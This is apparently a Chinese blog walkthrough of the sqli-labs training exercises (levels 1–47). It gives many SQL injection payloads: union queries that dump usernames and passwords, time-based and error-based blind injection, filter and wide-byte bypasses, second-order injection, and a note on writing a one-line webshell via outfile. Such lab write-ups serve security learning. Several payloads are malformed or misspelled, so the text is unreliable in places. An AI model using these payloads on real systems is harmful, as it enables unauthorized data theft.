Sql注入漏洞测试sqli-lab(1-50)

本文详细介绍了SQL注入攻击的过程,包括字符型和数字型注入的判断与利用,通过联合查询获取数据库名、表名、字段名及数据值。同时,涉及了盲注、报错注入、宽字节绕过等防御措施的绕过方法。通过实例演示了SQL注入的各种技巧和工具使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Sql注入是web十大安全漏洞之一,是web服务器对于用户输入的信息没有进行过滤,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

Less-1

第一题 是字符型注入

手工UNION联合查询注入

我们先id=-1'进行一个判断

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间

我们开始直接爆表

?id=-1' union select 1,2,database() --+

得到了数据库的名字为security

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

发现users是用户信息表

我们接下来开始爆字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' --+

我们知道了字端我们接下来开始爆值

成功

Less-02

这个题我们还是利用上道题的方法

发现出错


我们这道题要把1后面点去掉是数字型注入

除此之外和第一题是一样的我们先看看是什么数据库

?id=-1 union select 1,2,database() --+

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆值、

?id=-1 union select 1,2,group_concat(username,password) from users --+

成功

Less03

我们按照上关的方法

使用字符型

Id=1

报错了,我们怀疑传参是在一个括号里

所以要‘’回来

?Id=1’’

成功了

再利用上关的爆库爆表爆字段爆值

爆库

爆表

爆字段

爆值

Less04

我们试试判断是否为字符型注入

?id=-1

发现没有显示

?id=-1 union select 1,2,database()--+

试试可能要括号,这道题要构造1”)来连接前面的

爆表

id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆字段

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

爆值

?id=-1") union select 1,2,group_concat(username,password) from users --+

Less05

我们先判断

这个有点像盲注

我们看看延迟

接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

最好使用sqlmap来使用可以节约数时间

?id=1' and if(length(database())=8,sleep(5),1)--+

明显延迟,数据库长度为8.

判断太慢了我们可以是用python脚本来进行

或者我们还可以手动一个个判断

?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +

爆表

?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +

爆列

?id=1'and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))

Less06

这道题把单引号改成双引号就行了

?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23

Less07

我们先试试?id=1看看有没有问题发现1’))可闭合

初步判断为字符型注入,经过测试后发现正常返回 You are in.... Use outfile......   错误返回 You have an error in your SQL synta

我们将my.ini进行修改后,可以进行写入文件
再经过一系列修改之后终于可以了,
这里我们修改secure时候记得重启电脑,因为phpstudy自己的bug,这里我们写入一句话连接即可

Less08

我们输入?id=1’

发现没有回显

我们再使用

?id=1' and if(length(database(),1,1)='s' sleep(5),sleep(1)) --+

Less09                                                                                                     

我们还是先输入一个?id=1’判断 是否存在回显点

没有而且看看网络性能

花了整整5秒钟的时间来响应,由此推断出这道题是基于时间的盲注

发现回显了,证明是有的

盲注最好还是使用工具或者脚本来进行判断,这里我们只需要知道盲注的实现方法是什么就行了

Less10

我们试试这里首先我们判断是否存在注入点

?id=1’

发现这里其实和上到题都差不

Less11

我们发现这里有点不一样了,出现了一个输入用户名密码的

我们试试username的看看行不行

1") union select database(),2#

Less12

这里和上题差不多

Less13

1") union 1,2,select database() #发现没有回显

Less15

判断是盲注 - 基于布尔值 - 字符串

怎么输入都没有回显,时间延迟

显示登入成功但是没有回显

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

爆库,爆表,爆列名,爆值 

这里推荐使用python脚本来进行判断手工的话耗费时间太长了

 

Less16

把上一题正的单引号改为双引号加括号 ")

Less17

这道题是爆错型注入

 要使用updatexml

Less19

抓包修改user-agent为一下payload就可以了

Less20

这个题我们先登入上去然后这个根据这个分析是cookie型的注入

Payload : name=-admin' union select 1,2,database()--+

admin' union select 1,2,database() --+

Less21

使用admin登入上去

发现这个是个base64编码

 

成功注入

Less22

这题没有括号

Less23

爆库payload

?id=' union select 1,2,database() '

这个题是get形并且过滤了常见的注释符

Lesson 24

这道题是一个二次注入

注册一个admin'#的账号。

登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

Less 25

OR & AND 欺骗

判断显示位

个人感觉差不多

?id=-1' union select 1,2,group_concat(username,':',passwoorrd) from users --+

Less 26

可以看到$id 周围是单引号,过滤了 orand /* , – , # , 空格 , /

Less27

这个是个报错注入

?id=1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,':',password))from(users)),0x7e),1)||'1'='1

Less28

过滤 union select /i 大小写都被过滤,所以只能采用双写的方式进行注入

?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00

Less29

waf防护

?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

表爆出来了,后面的一样

Less30

和上一关的一样,只是变成了单引号

Less31

这一关和上一关多了一个括号

爆表?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ="users" --+

?id=-1") union select 1,2,group_concat(username,":",password) from  security.users --+

Less32

绕过 addslashes()

宽字节绕过引号转义

?id=-1%27%20union%20select%201,2,database()#

' 前面加的 \ 就会和%E6 合在一起


less-33

绕过 addslashes()

和上一题一样的,payload都不用改

?id=-1%dd' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+

Less 34
其实和上一题是一样的就是要用post传参提交

使用汉字的编码来吧\给注释掉

uname=' union select 1,(select group_concat(username,---,password) from users) #&passwd=&submit=Submit

Less 41

http://192.168.188.135/sqli-lab//Less-41/?id=-1 union select 1,2,3

39题差不多

爆表?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

爆字段

http://192.168.188.135/sqli-lab//Less-41/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

爆数据

http://192.168.188.135/sqli-lab//Less-41/?id=-1 union select 1,2,group_concat(username,"---",password) from security.users

Less 42

四十二关是因为账户进行了转义处理密码没有做处理,我们直接插入数据

Less 43

四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。

Less 44

四十四关和四十二关一样

Less 45

四十五关和四十三关一样

Less 46

Less 47

四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值